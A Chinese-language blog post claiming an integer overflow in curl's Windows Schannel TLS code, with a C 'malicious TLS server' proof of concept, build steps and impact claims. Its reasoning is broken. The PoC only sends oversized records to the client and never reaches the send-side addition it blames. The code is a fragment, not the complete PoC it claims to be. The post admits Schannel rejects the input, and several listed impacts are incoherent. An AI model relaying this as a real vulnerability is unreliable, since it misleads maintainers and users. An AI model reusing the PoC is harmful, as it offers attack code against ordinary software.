curl库schannel.c中的TLS数据传输整数溢出漏洞分析

本文详细分析了curl库schannel.c文件中存在的整数溢出漏洞,该漏洞在32位系统下可能导致TLS数据传输异常,包含完整的PoC代码和漏洞触发条件说明。

漏洞概述

该漏洞存在于curl的Windows Schannel TLS后端实现中(./lib/vtls/schannel.c),当加密数据传输过程中添加TLS缓冲区大小时会发生整数溢出,导致发送错误的数据长度,可能引发TLS安全问题。

技术细节

漏洞代码位置:

1
2
/* send the encrypted message including header, data and trailer */
len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;

curl在计算三个TLS缓冲区(头、加密数据和尾)总长度时未进行整数溢出检查。在32位编译环境下,如果这些缓冲区足够大,加法运算可能溢出,导致len值变小。

影响

可能导致:

  • 数据传输大小错误
  • TLS协议违规
  • 内存安全问题
  • 最坏情况下可能导致安全绕过(如果溢出导致curl发送的数据少于预期)

验证环境

在Windows 10环境下测试,Windows的Schannel会拒绝构造的畸形TLS握手(SEC_E_INVALID_TOKEN)。测试使用32位Windows系统编译,此时回绕最可能发生。

PoC代码

恶意TLS服务器实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>

#define PORT 4433

#pragma pack(push, 1)
typedef struct {
    uint8_t type;
    uint8_t version_major;
    uint8_t version_minor;
    uint16_t length;
} tls_record_header;
#pragma pack(pop)

void send_malicious_record(SOCKET client_socket) {
    printf("[*] Sending malicious TLS record...\n");

    tls_record_header record;
    record.type = 0x17;
    record.version_major = 0x03;
    record.version_minor = 0x03;
    record.length = htons(0xFFFF);

    send(client_socket, (char*)&record, sizeof(record), 0);

    size_t payload_size = 0xFFFF;
    unsigned char *payload = malloc(payload_size);
    if (!payload) {
        printf("Failed to allocate payload\n");
        return;
    }
    memset(payload, 'A', payload_size);
    send(client_socket, (char*)payload, (int)payload_size, 0);
    free(payload);

    for(int i = 0; i < 3; i++) {
        send(client_socket, (char*)&record, sizeof(record), 0);
        payload = malloc(payload_size);
        if (!payload) continue;
        memset(payload, 'B' + i, payload_size);
        send(client_socket, (char*)payload, (int)payload_size, 0);
        free(payload);
    }

    printf("[*] Sent malicious TLS records\n");
}

复现步骤

  1. 在Windows上编译恶意TLS服务器(32位):
1
i686-w64-mingw32-gcc -Wall -Wextra -g3 malicious_server.c -o malicious_server.exe -lws2_32
  1. 执行curl命令测试:
1
curl -k https://localhost:4433/

受影响版本

  • 8.15.0: 发布版本
  • 8.16.0: 开发版本

实际影响分析

攻击者需要控制或破坏TLS服务器,操纵Windows的EncryptMessage()返回特定的缓冲区大小,并在数据传输期间触发溢出。可能导致:

  • 身份验证绕过(如果凭据通过TLS传输)
  • 阻止数据渗出
  • DoS攻击(由于协议违规导致连接挂起)

缓解措施

Windows的Schannel默认会拒绝畸形TLS记录(SEC_E_INVALID_TOKEN),这降低了实际利用的可能性。建议对32位系统上的curl进行防御性修复。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计